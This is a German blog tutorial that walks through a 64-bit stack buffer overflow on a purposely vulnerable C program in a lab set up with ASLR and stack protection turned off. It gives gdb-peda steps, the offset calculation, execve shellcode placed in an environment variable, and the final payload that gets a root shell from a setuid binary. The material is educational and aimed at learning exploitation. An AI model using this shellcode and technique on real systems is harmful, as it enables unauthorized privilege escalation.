Diese Seite ist nicht editierbar. Sie können den Quelltext sehen, jedoch nicht verändern. Kontaktieren Sie den Administrator, wenn Sie glauben, dass hier ein Fehler vorliegt. {{tag>deutsch linux kali it-security pentest blog}} ====== Buffer Overflow im 64-Bit Stack - Teil 1 ====== In diesem Tutorial erzeugen wir einen Buffer Overflow auf dem 64-Bit Stack, um root Rechte zu erlangen.((https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/64-bit-stack-based-buffer-overflow)) Technische Einzelheiten zu Buffer-Overflows, Stack etc. gibt es hier((https://medium.com/@buff3r/basic-buffer-overflow-on-64-bit-architecture-3fb74bab3558)) \\ \\ ===== Abhängigkeiten ===== {{page>vorlagen:64_bit_stack_nav}} {{page>vorlagen:attention}} {{:it-security:blog:bof-64-1.jpg|}} Was wird benötigt? * Kali Linux (oder andere Distri) * GDB Debugger * gdb-peda * gcc Compiler \\ \\ ==== gdb-peda Exploit Tools ==== gdb-peda erweitert den Debugger GDB um hilfreiche Kommandos, zur Exploit Entwicklung.((https://github.com/longld/peda/blob/master/README)) <code bash> git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit </code> \\ \\ ==== ASLR deaktivieren ==== ASLR muss deaktiviert werden, damit Speicherbereiche nicht randomisiert werden. <code bash> echo 0 | sudo tee /proc/sys/kernel/randomize_va_space </code> \\ \\ ==== Programm ==== Quellcode und kompilierte Binaries findet Ihr auch auf meinem [[gh>psycore8/nosoc-bof/tree/main/part-1|github repository]] <code c> // code from https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/ #include <stdio.h> #include <unistd.h> int vuln() { char buf[80]; int r; r = read(0, buf, 400); printf("\nRead %d bytes. buf is %s\n", r, buf); puts("No shell for you :("); return 0; } int main(int argc, char *argv[]) { printf("Try to exec /bin/sh"); vuln(); return 0; } </code> \\ \\ === Kompilieren === <code bash> gcc -fno-stack-protector -z execstack bof.c -o bof </code> \\ \\ ===== RIP Register ===== Interessant für uns ist das Register ''RIP''. Dieses enthält eine Rücksprungadresse, welche auf einen anderen Bereich im Code zeigt. Durch den Buffer-Overflow überschreiben wir diese Rücksprungadresse. Aber erst müssen wir herausfinden, wie wir dies machen können. Wir starten unser Programm im Debugger und generieren einen 200 Zeichen langen String: <code bash> gdb -q vulnerable pattern_create 200 in.bin r < in.bin </code> [{{:it-security:bof-dism-2.png?400|Offset Fuzzing}}] \\ \\ ==== Bytes berechnen ==== Wieviele Bytes müssen übergeben werden, bevor RIP überschrieben wird? <code bash> pattern_offset A7AAMAAiA Found at Offset 104 </code> \\ \\ 104 Bytes müssen übergeben werden, bis der Puffer überläuft. Wir generieren 104 Zeichen und eine canonical return adress. Hierzu müssen wir unsere Pseudo-Adresse ''0x414141414141'' ins canonical address format konvertieren, indem wir 2 hohe Bytes anhängen: <code asm>0x0000414141414141</code> \\ \\ Das wandeln wir in Shellcode um: <code asm>\x41\x41\x41\x41\x41\x41\x00\x00</code> \\ \\ > In a 64-bit architecture, the entire 2⁶⁴ bytes are not utilized for address space. In a typical 48 bit implementation, canonical address refers to one in the range 0x0000000000000000 to 0x00007FFFFFFFFFFF and 0xFFFF800000000000 to 0xFFFFFFFFFFFFFFFF. Any address outside this range is non-canonical.((https://en.wikipedia.org/wiki/Endianness)) \\ \\ ==== Debuggen ==== Also Debuggen wir nun erneut, mit den herausgefundenen Parametern <code python> python2 -c "print('A'*104 + '\x41\x41\x41\x41\x41\x41\x00\x00')" > in.bin gdb -q bof r < in.bin </code> \\ \\ [{{:it-security:bof-dism-3.png?400|wir haben RIP mit unserer Pseudo Adresse überschrieben}}] \\ \\ ===== Exploit ===== Im letzten Schritt erzeugen wir uns ein entsprechendes Exploit, um die root Shell zu erzeugen. \\ \\ ==== Shellcode platzieren ==== Der Shellcode((http://shell-storm.org/shellcode/files/shellcode-77.html)) wird in einer Umgebungsvariable abgelegt <code bash> export PWN=`python2 -c 'print( "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")'` </code> \\ \\ ==== Variable im Stack finden ==== \\ \\ === GetEnvVar === <code c> // code by Jon Erickson, page 147 and 148 of Hacking: The Art of Exploitation, 2nd Edition #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char *ptr; if(argc < 3) { printf("Usage: %s <environment variable> <target program name>\n", argv[0]); exit(0); } ptr = getenv(argv[1]); /* get env var location */ ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */ printf("%s will be at %p\n", argv[1], ptr); } </code> \\ \\ === Kompilieren === <code bash> gcc getenvar.c -o getenvar </code> \\ \\ === Ausführen === <code bash> ./getenvar PWN ./bof </code> [{{:it-security:bof-dism-4.png?400|Das Offset der Umgebungsvariable im Stack}}] Die Adresse der Umgebungsvariable ist ''0x7fffffffef9e'', dies entspricht der canonical address ''0x00007fffffffef9e''´. Unser Shellcode entspräche nun: <code asm>\x9e\xef\xff\xff\xff\x7f\x00\x00</code> \\ \\ ==== Angriff ==== Zunächst setzen wir root Rechte auf die vulnerable Datei und starten diese((https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/)) <code bash> sudo chown root bof sudo chmod 4755 bof ./bof </code> Nun können wir den Buffer-Overflow ausführen: <code bash> (python2 -c "print('A'*104+'\x9e\xef\xff\xff\xff\x7f\x00\x00')"; cat) | ./bof </code> [{{:it-security:bof-dism-5.png?600|root Shell!}}] \\ \\ <mermaid> classDiagram note for Buffer "Overwrite Buffer" note for RBP "Overwrite RBP" note for RIP "place return address" Buffer --> RBP RBP --> RIP RIP --> 0x00007FFFFFFFC19F Buffer: AAAAAAAAAAAA RBP: BBBBBBBBBBBB RIP: 0x00007FFFFFFFC19F class 0x00007FFFFFFFC19F{ Shellcode() root-Shell } </mermaid> \\ \\ ===== Repository ===== ^ Projektdateien | {{ :it-security:nosoc-repo-bof64.zip |}} <label type="info" icon="glyphicon glyphicon-compressed">ZIP</label> | ^ Größe | 5,76 KB | ^ Prüfsumme (SHA256) | 191e6f1811018970776e3bf035ff460033a47da62335fe5c9475a460b02a10d3 | ~~DISCUSSION~~